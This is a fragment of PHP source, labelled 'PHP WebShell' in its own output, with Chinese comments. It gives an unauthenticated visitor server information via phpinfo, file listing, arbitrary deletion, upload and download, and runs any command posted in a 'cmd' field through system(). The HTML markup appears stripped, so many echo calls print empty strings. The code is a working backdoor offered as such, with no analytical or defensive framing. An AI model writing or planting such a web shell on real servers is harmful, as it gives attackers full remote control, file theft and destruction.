服务器信息";
echo "";
phpinfo();
echo "";
}
// 文件管理功能
function file_manager() {
echo "文件管理
";
if (isset($_GET['action'])) {
$action = $_GET['action'];
switch ($action) {
case 'list':
list_files();
break;
case 'delete':
delete_file();
break;
case 'upload':
upload_file();
break;
case 'download':
download_file();
break;
default:
echo "无效的操作";
}
} else {
echo "列出文件
";
echo "上传文件
";
}
}
function list_files() {
$files = scandir('.');
echo "";
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
echo "- $file 删除 下载
";
}
}
echo "
";
}
function delete_file() {
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (unlink($file)) {
echo "文件 $file 已删除";
} else {
echo "删除文件 $file 失败";
}
}
}
function upload_file() {
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo "文件上传成功";
} else {
echo "文件上传失败";
}
}
echo "";
}
function download_file() {
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
} else {
echo "文件不存在";
}
}
}
// 命令执行功能
function execute_command() {
echo "命令执行
";
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
echo "";
system($cmd);
echo "";
}
echo "";
}
// 主页面
echo "PHP WebShell
";
#show_server_info();
file_manager();
execute_command();
?>